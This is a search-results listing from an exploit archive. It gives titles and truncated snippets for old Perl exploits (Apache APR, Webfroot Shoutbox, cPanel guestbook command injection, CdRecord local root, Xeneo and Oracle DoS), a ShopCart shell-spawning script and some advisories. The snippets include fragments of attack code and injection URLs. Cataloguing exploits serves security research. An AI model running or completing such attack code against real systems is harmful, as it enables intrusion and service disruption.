1100 matches found
Apache <= 2.0.45 APR Remote Exploit -Apache-Knacker.pl
No description provided by source. !/usr/bin/perl Apache 2.0.37 - 2.0.45 APR Exploit Written By Matthew Murphy This Perl script will successfully exploit any un-patched Apache 2.x servers. Base64 Encoder If you want authentication with the server via HTTP's lame Basic auth, put the proper string ...
WebCortex WebStores2000 - SQL Injection
WebCortex WebStores2000 - SQL Injection source: https://www.securityfocus.com/bid/7766/info This vulnerability is reportedly caused by a lack of sufficient sanitization of user-supplied data contained in URI parameters supplied to WebStores2000. Successful exploitation may allow for modification ...
Webfroot Shoutbox < 2.32 (Apache) Remote Exploit
Exploit for linux platform in category remote exploits ================================================ Webfroot Shoutbox ';fclose$h;? HTTP/1.1\nHost: 127.0.0.1\nConnection: Close\n\n"; my $conn; if $ARGV0 eq "x" || $ARGV0 eq "r" $type = $ARGV0; else print "x Webfroot Shoutbox 2.32 on apache...
Webfroot Shoutbox < 2.32 (Apache) Remote Exploit
No description provided by source. !/usr/bin/perl Webfroot Shoutbox 2.32 on apache exploit use IO::Socket; my $host = "127.0.0.1"; my $port = 80; my $shoutbox = "shoutbox.php?conf="; my $shoutboxpath = "/shoutbox"; my $cmd = "ls -l"; my $conn; my $type; my @logs = "/etc/httpd/logs/acceslog",...
CdRecord Version <= 2.0 Mandrake local root exploit
No description provided by source. !/usr/bin/perl Cdrecord version 2.0 and local root exploit. wsxz@localhost buffer$ perl priv8cdr.pl 4 Using target number 4 Using Mr .dtors 0x808c82c Cdrecord 2.0 i586-mandrake-linux-gnu scsibus: -1 target: -1 lun: -1 Warning: Open by 'devname' is unintentional...
An Implementation of a Birthday Attack in a DNS Spoofing
An Implementation of a Birthday Attack in a DNS Spoofing. By Ramon Izaguirre. 0.- Introduction, In november 2002 Vagner Sacramento discovered that a dns server would reply with n responses to n queries made from different ip addresses for the same domain...
Xeneo Web Server 2.2.9.0 Denial of Service Exploit
No description provided by source. !/usr/bin/perl Xeneo Web Server DoS Vulnerable systems: Xeneo. Web Server 2.2.9.0 Written by badpack3t [email protected] For SP Research Labs 04/21/2003 www.security-protocols.com usage: perl sp-xeneo.pl target port use IO::Socket; use strict; pri...
Xeneo Web Server 2.2.9.0 - Denial of Service
Xeneo Web Server 2.2.9.0 - Denial of Service !/usr/bin/perl Xeneo Web Server DoS Vulnerable systems: Xeneo. Web Server 2.2.9.0 Written by badpack3t For SP Research Labs 04/21/2003 www.security-protocols.com usage: perl sp-xeneo.pl use IO::Socket; use strict; print ".:."x 20; print "\nXeneo Web...
ShopCart.pl
Shopcart exploit Spawn bash style Shell with webserver uid Spabam 2003 PRIV8 code hackarena irc.brasnet.org This Script is currently under development use strict; use IO::Socket; my $host; my $port; my $command; my $url; my @results; my $probe; my @U; my $shit; $U1 = "/cgi-local/shop.pl/page=;";...
CC GuestBook cc_guestbook.pl Multiple Parameter XSS
The remote host is running ccguestbook.pl, a guestbook written in Perl. This CGI is vulnerable to a cross-site scripting attack. An attacker may use this flaw to steal the cookies of your users. %NASLMINLEVEL 70300 C Tenable Network Security, Inc. Ref: From: "BrainRawt ." To:...
ProtWare "HTML Guardian" has pathetic "encryption"
For $40 or $70, ProtWare's "HTML Guardian" http://www.protware.com claims to "encrypt html code and javascripts, making it impossible to reuse them." Unfortunately, "HTML Guardian" does not do anything more than to obfuscate the HTML source code. There is no encryption. In fact, the JavaScript th...
ProtWare HTML Guardian 6.x - Encryption
source: https://www.securityfocus.com/bid/7169/info A weakness has been reported in the encryption scheme used by ProtWare HTML Guardian. Specifically, the encryption scheme implemented obfuscates data using a simple bit shifting technique, making it trivial for attackers to reverse. Administrato...
cpanel-VH.pl
!usr/bin/perl use LWP::UserAgent print "\n"; print " \n"; print " Remote Exploit for Cpanel 5 \n"; print " \n"; print "\n"; print " C0d3r: CaMaLeoN\n"; die "Use: $0 \n" unless $ARGV1; $web=$ARGV0; $comando=$ARGV1; $fallos="cgi-sys/guestbook.cgi?user=cpanel&template=$comando";...
cPanel 5.0 - Openwebmail Local Privilege Escalation
cPanel 5.0 - Openwebmail Local Privilege Escalation source: https://www.securityfocus.com/bid/6885/info It has been reported that cPanels' openwebmail package, distributed as part of the cPanel CGI application, is vulnerable to an external file include vulnerability. Exploitation of this issue ma...
KeyFocus KF Web Server File Disclosure Vulnerability
KeyFocus Web server is a Win32 HTTP server with web administration, a variety of logging formats, such as NCSA and W3C, CGI, compression, memory caching of static documents, directory indexing, pre-defined MIME settings, internal authentication with support for multiple realms, and a variety of U...
Oracle9iAS.dos.pl
-----BEGIN PGP SIGNED MESSAGE----- hiya ppl, I have made a quick script to demonstrate the Oracle DOS described in @stakes advisory: Oracle9iAS Web Cache Denial of Service please find the perl script pasted below. regards: eip/deadbeat/AnGrYSQl p.s. I did have about 10submissions but due to...
web602dir.pl
/usr/bin/perl web602 cezch version driectory tree exploit.. Written by eip aka deadbeat aka AnGrYSQl use IO::Socket; print "\nWeb602 czech version Directory Tee Exploit\n"; if !$ARGV\n"; $host = $ARGV0; $sox = IO::Socket::INET-new Proto="tcp", PeerPort="80", PeerAddr=$host, ; print "Connected..DO...
sql2kx2.txt
!/usr/local/bin/perl ----------------------------------------------------------- Exploit will create file '\scansql2kbo2.' SQL Server 2000 'Hello Bug' for Win2kSP2 by [email protected] & spoonfork Bug found by Dave Aitel http://online.securityfocus.com/archive/1/286311/2002-08-02/2002-08-08/...
int.exp.txt
First off, great site ! I appreciate all the work you do. I just wanted to send in a quick and dirty perl script to retrieve any file from a server running RedHat's Interchange commerce system. The temp fix for this can be to use ipchains/iptables to block access to the port from outside the...
badexploit.txt
!/usr/bin/perl - ElectronicSouls Private Do Not Distrobute - Remote Exploit For BadBlue 1.5 Web Server www.badblue.com A transversal bug has been discovered in BadBlue HTTP Daemon SoftWare. This is a gay bug, yes I know. But it can be kinda funny for those days you are bored = Vulnerable System:...